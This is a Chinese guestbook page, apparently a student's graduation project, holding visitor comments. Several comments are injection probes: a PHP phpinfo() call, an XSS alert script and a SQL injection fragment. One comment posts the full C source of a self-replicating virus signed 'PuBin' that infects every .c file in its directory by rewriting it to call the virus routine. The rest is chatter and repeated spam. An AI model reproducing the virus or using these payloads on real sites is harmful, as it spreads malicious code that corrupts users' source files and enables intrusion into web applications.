小蜗牛留言本

啊啊啊啊

<font color="red">阿杰</font> <?php phpinfo(); ?> <script> alert('2226788556'); </script> ' where 1=1;select * from *;

<font color="red">阿杰</font> <?php phpinfo(); ?> <script> alert('2226788556'); </script>

额，程序我就不看了，嗯。毕业设计还可以。

对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区对方不在服务区

很好

<?php echo"aaaaaaaa"; ?>

#include <stdio.h> #include <dir.h> void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf[i],80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include<stdio.h>\n",out); fputs("#include<dir.h>\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j<i-1;j++) if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) fputs(buf[j],out); else { if(flag==0) { flag=1; fputs("virus();\n",out); } fputs(buf[j],out); } } else if((strstr(buf[j],include[0])==NULL) &&(strstr(buf[j],include[1])==NULL)) { fputs(buf[j],out); j++; } else j++; }while(j<i-1); read=fopen(virus,"rt"); do { p=fgets(buffer,80,read); if(strstr(buffer,int_virus)) while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"",out); fputs(ffblk.ff_name,out); fputs("\";\n",out); } p=fgets(buffer,80,read); } }while(p!=NULL); fclose(read); fclose(out); printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name); next: done = findnext(&ffblk); } return 0; }

eee

好玩